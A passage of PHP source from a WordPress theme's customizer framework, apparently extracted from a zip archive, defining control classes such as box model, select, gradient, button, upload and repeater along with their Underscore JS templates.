			7  => 'Left',
			8  => 'Top',
			9  => 'Right',
			10 => 'Bottom',
			11 => 'Left',
			12 => 'Top',
			13 => 'Right',
			14 => 'Bottom',
			15 => 'Left',
		];
		$saved_values               = ( ! is_array( $this->value() ) && ! empty( $this->value() ) ) ? explode( ', ', $this->value() ) : explode( ', ', '\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\'' );
		$this->json['saved']        = $saved_values;
		$this->json['choices']      = $this->choices;
		$this->json['control_link'] = $this->get_control_link();
		$this->json['item_label']   = $label;
		$this->json['value']        = implode( '-', $saved_values );
	}

	public function get_control_link( $setting_key = 'default' ) {
		if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) {
			return 'data-customize-setting-link=' . esc_attr( $this->settings[ $setting_key ]->id );
		} else {
			return 'data-customize-setting-key-link=' . esc_attr( $setting_key );
		}
	}

	/**
	 * Control method
	 *
	 * @since 1.0.0
	 */
	public function content_template() {
		?>
        <# if ( data.label ) { #>
        <span class="customize-control-title">{{{ data.label }}}</span>
        <# } #>
        <# if ( data.description ) { #>
        <p class="description customize-control-description">{{{ data.description }}}</p>
        <# } #>
        <div class="box-model-wrapper">
            <# _.each(data.choices,function(eachItem,index){ #>
            <# if ( 'margin' === index ) { #>
            <div class="box-model box-model-margin">
                <h4 class="box-head">Margin</h4>
                <# margin_count = 0; #>
                <# _.each(eachItem,function(m_value,m_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[margin_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[margin_count]}}"
                           class="box-model-field {{m_key}}">
                </div>
                <# margin_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'padding' === index ) { #>
            <div class="box-model box-model-padding">
                <h4 class="box-head">Padding</h4>
                <# padding_count = 4; #>
                <# _.each(eachItem,function(p_value,p_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[padding_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[padding_count]}}"
                           class="box-model-field {{p_key}}">
                </div>
                <# padding_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'border' === index ) { #>
            <div class="box-model box-model-border">
                <h4 class="box-head">Borders Width</h4>
                <# border_count = 8; #>
                <# _.each(eachItem,function(b_value,b_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[border_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[border_count]}}"
                           class="box-model-field {{b_key}}">
                </div>
                <# border_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'border-radius' === index ) { #>
            <div class="box-model box-model-border-radius">
                <h4 class="box-head">Borders Radius</h4>
                <# r_count = 12; #>
                <# _.each(eachItem,function(r_value,r_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[r_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[r_count]}}"
                           class="box-model-field {{r_key}}">
                </div>
                <# r_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# }) #>
            <input type="hidden" class="box-model-saved" {{data.control_link}} value="{{data.value}}"/>
        </div>
		<?php
	}
}
PK     0w\9â
  
  =  customizer/framework/customizer/control/class-ajax-select.phpnu [        <?php
/**
 * Customizer Control: kirki-select.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */
namespace SoledadFW\Customizer\Control;

/**
 * Select control.
 */
class Ajax_Select extends Control_Abstract {

    /**
     * The control type.
     *
     * @access public
     * @var string
     */
    public $type = 'soledad-fw-ajax-select';

    /**
     * Maximum number of options the user will be able to select.
     * Set to 1 for single-select.
     *
     * @access public
     * @var int
     */
    public $multiple = 1;

    /**
     * @var string
     */
    public $ajax_action;

    /**
     * Refresh the parameters passed to the JavaScript via JSON.
     *
     * @access public
     */
    public function to_json() {
        parent::to_json();
        $this->json['multiple'] = $this->multiple;
        $this->json['ajax_action'] = $this->ajax_action;
    }

    /**
     * An Underscore (JS) template for this control's content (but not its container).
     *
     * Class variables for this control class are available in the `data` JS object;
     * export custom variables by overriding
     *
     * @see WP_Customize_Control::print_template()
     *
     * @access protected
     */
    protected function content_template() {
        ?>
        <# if ( ! data.choices ) return; #>
        <label>
            <# if ( data.label ) { #>
                <span class="customize-control-title">{{ data.label }}</span>
            <# } #>
            <# if ( data.description ) { #>
                <span class="description customize-control-description">{{{ data.description }}}</span>
            <# } #>
            <select {{{ data.link }}} data-multiple="{{ data.multiple }}"<# if ( 1 < data.multiple ) { #> multiple<# } #> data-action="{{{ data.ajax_action }}}">
                <# if ( 1 < data.multiple && data.value ) { #>
                    <# for ( key in data.value ) { #>
                        <option value="{{ data.value[ key ] }}" selected>{{ data.choices[ data.value[ key ] ] }}</option>
                    <# } #>
                    <# for ( key in data.choices ) { #>
                        <# if ( data.value[ key ] in data.value ) { #>
                        <# } else { #>
                            <option value="{{ key }}">{{ data.choices[ key ] }}</option>
                        <# } #>
                    <# } #>
                <# } else { #>
                    <# for ( key in data.choices ) { #>
                        <option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>{{ data.choices[ key ] }}</option>
                    <# } #>
                <# } #>
            </select>
        </label>
        <?php
    }
}
PK     0w\0k    B  customizer/framework/customizer/control/class-radio-button-set.phpnu [        <?php
/**
 * Customizer Control: radio-buttonset.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Buttonset control (modified radio)
 */
class Radio_Button_Set extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio-buttonset';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div id="input_{{ data.id }}" class="buttonset">
			<# for ( key in data.choices ) { #>
				<input class="switch-input" type="radio" value="{{ key }}" name="_customize-radio-{{{ data.id }}}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( key === data.value ) { #> checked="checked" <# } #>>
					<label class="switch-label switch-label-<# if ( key === data.value ) { #>on <# } else { #>off<# } #>" for="{{ data.id }}{{ key }}">
						{{ data.choices[ key ] }}
					</label>
				</input>
			<# } #>
		</div>
		<?php
	}
}
PK     0w\P    7  customizer/framework/customizer/control/class-image.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Image extends \WP_Customize_Image_Control {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-image';

	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}
}
PK     0w\`      8  customizer/framework/customizer/control/class-hidden.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Hidden extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-hidden';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'hidden';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
	}
}
PK     0w\?ź    >  customizer/framework/customizer/control/class-preset-image.phpnu [        <?php
/**
 * Customizer Control: preset-image.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Image control (modified radio).
 */
class Preset_Image extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-preset-image';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>
		<div id="input_{{ data.id }}" data-link="{{ data.default }}" class="image">
			<# for ( key in data.choices ) { #>
				<label for="{{ data.id }}{{ key }}" data-id="{{ key }}">
					<span class="image-clickable"></span>
				</label>
			<# } #>
		</div>
		<?php
	}
}
PK     0w\M!    8  customizer/framework/customizer/control/class-button.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Button extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-button';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $data_type = '';
	public $description = '';
	public $nonce = '';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['data_type']   = $this->data_type;
		$this->json['description'] = $this->description;
		$this->json['nonce']       = $this->nonce;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <button class="button" data-ajaxurl="<?php echo admin_url( 'admin-ajax.php' ); ?>"
                data-type="{{{ data.data_type }}}" data-nonce="{{{ data.nonce }}}">{{{ data.label }}}
        </button>
        <# if ( data.description ) { #>
        <span class="description customize-control-description">
					<p>{{{ data.description }}}</p>
				</span>
        <# } #>
		<?php
	}
}
PK     0w\im9    :  customizer/framework/customizer/control/class-textarea.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Textarea extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-textarea';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<textarea rows="5" {{{ data.link }}}>{{ data.value }}</textarea>
			</div>
		</label>
		<?php
	}
}
PK     0w\PS    :  customizer/framework/customizer/control/class-gradient.phpnu [        <?php
/**
 * Customizer Control: typography
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Typography control.
 */
class Gradient extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-gradient';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$defaults = array(
			'degree'        => 0,
			'begincolor'    => false,
			'beginlocation' => 0,
			'endcolor'      => false,
			'endlocation'   => 100,
		);

		$this->json['default'] = wp_parse_args( $this->json['default'], $defaults );
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>

		<div class="wrapper">

			<div class="soledad-fw-range-degree range">
				<h5>Gradient Degree</h5>
				<input type="range" min="0" max="359" step="1" value="{{ data.value['degree'] }}" data-reset_value="0"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['degree'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="soledad-fw-range-begin range">
				<h5>Begin Location (in %)</h5>
				<input type="range" min="0" max="100" step="1" value="{{ data.value['beginlocation'] }}" data-reset_value="0"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['beginlocation'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="soledad-fw-range-end range">
				<h5>End Location (in %)</h5>
				<input type="range" min="0" max="100" step="1" value="{{ data.value['endlocation'] }}" data-reset_value="100"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['endlocation'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="color">
				<h5>Begin Color</h5>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['begincolor'] }}" value="{{ data.value['begincolor'] }}" class="soledad-fw-color-control soledad-fw-begin-color color-picker"/>
			</div>

			<div class="color">
				<h5>End Color</h5>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['endcolor'] }}" value="{{ data.value['endcolor'] }}" class="soledad-fw-color-control soledad-fw-end-color color-picker"/>
			</div>

		</div>
		<?php
	}
}
PK     0w\X:    :  customizer/framework/customizer/control/class-password.phpnu [        <?php
/**
 * Customizer Control: password.
 *
 * Creates a password
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Password control.
 */
class Password extends Text {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-password';

	/**
	 * The input type.
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'password';
}
PK     0w\/	  	  B  customizer/framework/customizer/control/class-control-abstract.phpnu [        <?php
/**
 * Customizer Control: ControlAbstract
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * The parent class for all controls.
 * Other controls should extend this object.
 */
class Control_Abstract extends \WP_Customize_Control {
	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Data type
	 *
	 * @access public
	 * @var string
	 */
	public $option_type = 'theme_mod';

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		} else {
			$this->json['default'] = $this->setting->default;
		}

		$this->json['value']   = $this->value();
		$this->json['choices'] = $this->choices;
		$this->json['link']    = $this->get_link();
		$this->json['id']      = $this->id;

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}

	/**
	 * Renders the control wrapper and calls $this->render_content() for the internals.
	 */
	protected function render() {
		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		$class = 'customize-control customize-control-soledad customize-control-' . $this->type . ' ' . implode( ' ', $this->wrapper_class );
		?>
		<li id="<?php echo esc_attr( $id ); ?>" class="<?php echo esc_attr( $class ); ?>">
		<?php $this->render_content(); ?>
		</li>
		<?php
	}

	/**
	 * Render the control's content.
	 *
	 * @see WP_Customize_Control::render_content()
	 */
	protected function render_content() {
	}
}
PK     0w\Zɐ    8  customizer/framework/customizer/control/class-upload.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Upload extends \WP_Customize_Upload_Control {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-upload';

	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}
}
PK     0w\AGJ  J  7  customizer/framework/customizer/control/class-alert.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Alert extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-alert';

	public function to_json() {
		parent::to_json();

		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		} else {
			$this->json['default'] = $this->setting->default;
		}
	}


	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <div class="customize-alert customize-alert-{{{ data.default }}}">
            <label>
                <# if ( data.label ) { #>
                <strong class="customize-control-title">{{{ data.label }}}</strong>
                <# } #>
                <# if ( data.description ) { #>
                <div class="description customize-control-description">{{{ data.description }}}</div>
                <# } #>
            </label>
        </div>
		<?php
	}
}
PK     0w\ke+B  +B  :  customizer/framework/customizer/control/class-repeater.phpnu [        <?php
/**
 * Customizer Control: repeater.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Repeater control
 */
class Repeater extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-repeater';

	/**
	 * The fields that each container row will contain.
	 *
	 * @access public
	 * @var array
	 */
	public $fields = array();

	/**
	 * Will store a filtered version of value for advenced fields (like images).
	 *
	 * @access protected
	 * @var array
	 */
	protected $filtered_value = array();

	/**
	 * The row label
	 *
	 * @access public
	 * @var array
	 */
	public $row_label = array();

	/**
	 * Constructor.
	 * Supplied `$args` override class property defaults.
	 * If `$args['settings']` is not defined, use the $id as the setting ID.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    {@see WP_Customize_Control::__construct}.
	 */
	public function __construct( $manager, $id, $args = array() ) {

		parent::__construct( $manager, $id, $args );

		// Set up defaults for row labels.
		$this->row_label = array(
			'type' => 'text',
			'value' => esc_attr__( 'row', 'soledad' ),
			'field' => false,
		);

		// Validating args for row labels.
		if ( isset( $args['row_label'] ) && is_array( $args['row_label'] ) && ! empty( $args['row_label'] ) ) {

			// Validating row label type.
			if ( isset( $args['row_label']['type'] ) && ( 'text' === $args['row_label']['type'] || 'field' === $args['row_label']['type'] ) ) {
				$this->row_label['type'] = $args['row_label']['type'];
			}

			// Validating row label type.
			if ( isset( $args['row_label']['value'] ) && ! empty( $args['row_label']['value'] ) ) {
				$this->row_label['value'] = esc_attr( $args['row_label']['value'] );
			}

			// Validating row label field.
			if ( isset( $args['row_label']['field'] ) && ! empty( $args['row_label']['field'] ) && isset( $args['fields'][ esc_attr( $args['row_label']['field'] ) ] ) ) {
				$this->row_label['field'] = esc_attr( $args['row_label']['field'] );
			} else {

				// If from field is not set correctly, making sure standard is set as the type.
				$this->row_label['type'] = 'text';
			}
		}

		if ( empty( $this->button_label ) ) {
			$this->button_label = esc_attr__( 'Add new', 'soledad' ) . ' ' . $this->row_label['value'];
		}

		if ( empty( $args['fields'] ) || ! is_array( $args['fields'] ) ) {
			$args['fields'] = array();
		}

		// An array to store keys of fields that need to be filtered.
		$media_fields_to_filter = array();

		foreach ( $args['fields'] as $key => $value ) {
			if ( ! isset( $value['default'] ) ) {
				$args['fields'][ $key ]['default'] = '';
			}

			if ( ! isset( $value['label'] ) ) {
				$args['fields'][ $key ]['label'] = '';
			}
			$args['fields'][ $key ]['id'] = $key;

			// We check if the filed is an uploaded media ( image , file, video, etc.. ).
			if ( isset( $value['type'] ) && ( 'image' === $value['type'] || 'cropped_image' === $value['type'] || 'upload' === $value['type'] ) ) {

				// We add it to the list of fields that need some extra filtering/processing.
				$media_fields_to_filter[ $key ] = true;
			}

			// If the field is a dropdown-pages field then add it to args.
			if ( isset( $value['type'] ) && ( 'dropdown-pages' === $value['type'] ) ) {

				$dropdown = wp_dropdown_pages(
					array(
						'name'              => '',
						'echo'              => 0,
						'show_option_none'  => esc_attr__( 'Select a Page', 'soledad' ),
						'option_none_value' => '0',
						'selected'          => '',
					)
				);

				// Hackily add in the data link parameter.
				$dropdown = str_replace( '<select', '<select data-field="'.esc_attr( $args['fields'][ $key ]['id'] ).'"' . $this->get_link(), $dropdown );

				$args['fields'][ $key ]['dropdown'] = $dropdown;
			}
		}

		$this->fields = $args['fields'];

		// Now we are going to filter the fields.
		// First we create a copy of the value that would be used otherwise.
		$this->filtered_value = $this->value();

		if ( is_array( $this->filtered_value ) && ! empty( $this->filtered_value ) ) {

			// We iterate over the list of fields.
			foreach ( $this->filtered_value as &$filtered_value_field ) {

				if ( is_array( $filtered_value_field ) && ! empty( $filtered_value_field ) ) {

					// We iterate over the list of properties for this field.
					foreach ( $filtered_value_field as $key => &$value ) {

						// We check if this field was marked as requiring extra filtering (in this case image, cropped_images, upload).
						if ( array_key_exists( $key, $media_fields_to_filter ) ) {

							// What follows was made this way to preserve backward compatibility.
							// The repeater control use to store the URL for images instead of the attachment ID.
							// We check if the value look like an ID (otherwise it's probably a URL so don't filter it).
							if ( is_numeric( $value ) ) {

								// "sanitize" the value.
								$attachment_id = (int) $value;

								// Try to get the attachment_url.
								$url = wp_get_attachment_url( $attachment_id );

								$filename = basename( get_attached_file( $attachment_id ) );

								// If we got a URL.
								if ( $url ) {

									// 'id' is needed for form hidden value, URL is needed to display the image.
									$value = array(
										'id'  => $attachment_id,
										'url' => $url,
										'filename' => $filename,
									);
								}
							}
						}
					}
				}
			}
		}
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();

		$fields = $this->fields;

		$this->json['fields'] = $fields;
		$this->json['row_label'] = $this->row_label;

		// If filtered_value has been set and is not empty we use it instead of the actual value.
		if ( is_array( $this->filtered_value ) && ! empty( $this->filtered_value ) ) {
			$this->json['value'] = $this->filtered_value;
		}
	}

	/**
	 * Render the control's content.
	 * Allows the content to be overriden without having to rewrite the wrapper in $this->render().
	 *
	 * @access protected
	 */
	protected function render_content() {
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>
			<?php if ( ! empty( $this->description ) ) : ?>
				<span class="description customize-control-description"><?php echo wp_kses( $this->description, wp_kses_allowed_html() ); ?></span>
			<?php endif; ?>
			<input type="hidden" <?php $this->input_attrs(); ?> value="" <?php echo wp_kses_post( $this->get_link() ); ?> />
		</label>

		<ul class="repeater-fields"></ul>

		<?php if ( isset( $this->choices['limit'] ) ) : ?>
			<p class="limit"><?php printf( esc_attr__( 'Limit: %s rows', 'soledad' ), esc_html( $this->choices['limit'] ) ); ?></p>
		<?php endif; ?>
		<div class="repeater-add-wrapper">
        	<button class="button button-large button-primary repeater-add"><i class="fa fa-plus"></i></button>	
        </div>

		<?php

		$this->repeater_js_template();
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 * Class variables for this control class are available in the `data` JS object.
	 *
	 * @access public
	 */
	public function repeater_js_template() {
		?>
		<script type="text/html" class="customize-control-repeater-content">
			<# var field; var index = data.index; #>

			<li class="repeater-row minimized" data-row="{{{ index }}}">

				<div class="repeater-row-header">
					<span class="repeater-row-label"></span>
					<i class="dashicons dashicons-arrow-down repeater-minimize"></i>
				</div>
				<div class="repeater-row-content">
					<# _.each( data, function( field, i ) { #>

						<div class="repeater-field repeater-field-{{{ field.type }}}">

							<# if ( 'text' === field.type || 'url' === field.type || 'email' === field.type || 'tel' === field.type || 'date' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
									<input type="{{field.type}}" name="" value="{{{ field.default }}}" data-field="{{{ field.id }}}">
								</label>

							<# } else if ( 'hidden' === field.type ) { #>

								<input type="hidden" data-field="{{{ field.id }}}" <# if ( field.default ) { #> value="{{{ field.default }}}" <# } #> />

							<# } else if ( 'checkbox' === field.type ) { #>

								<label>
									<input type="checkbox" value="true" data-field="{{{ field.id }}}" <# if ( field.default ) { #> checked="checked" <# } #> /> {{ field.label }}
									<# if ( field.description ) { #>
										{{ field.description }}
									<# } #>
								</label>

							<# } else if ( 'select' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
									<select data-field="{{{ field.id }}}">
										<# _.each( field.choices, function( choice, i ) { #>
											<option value="{{{ i }}}" <# if ( field.default == i ) { #> selected="selected" <# } #>>{{ choice }}</option>
										<# }); #>
									</select>
								</label>

							<# } else if ( 'dropdown-pages' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{{ data.label }}}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{{ field.description }}}</span>
									<# } #>
									<div class="customize-control-content repeater-dropdown-pages">{{{ field.dropdown }}}</div>
								</label>

							<# } else if ( 'radio' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>

									<# _.each( field.choices, function( choice, i ) { #>
										<label>
											<input type="radio" name="{{{ field.id }}}{{ index }}" data-field="{{{ field.id }}}" value="{{{ i }}}" <# if ( field.default == i ) { #> checked="checked" <# } #>> {{ choice }} <br/>
										</label>
									<# }); #>
								</label>

							<# } else if ( 'radio-image' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>

									<# _.each( field.choices, function( choice, i ) { #>
										<input type="radio" id="{{{ field.id }}}_{{ index }}_{{{ i }}}" name="{{{ field.id }}}{{ index }}" data-field="{{{ field.id }}}" value="{{{ i }}}" <# if ( field.default == i ) { #> checked="checked" <# } #>>
											<label for="{{{ field.id }}}_{{ index }}_{{{ i }}}">
												<img src="{{ choice }}">
											</label>
										</input>
									<# }); #>
								</label>

							<# } else if ( 'color' === field.type ) { #>

								<# var defaultValue = '';
								if ( field.default ) {
									if ( '#' !== field.default.substring( 0, 1 ) ) {
										defaultValue = '#' + field.default;
									} else {
										defaultValue = field.default;
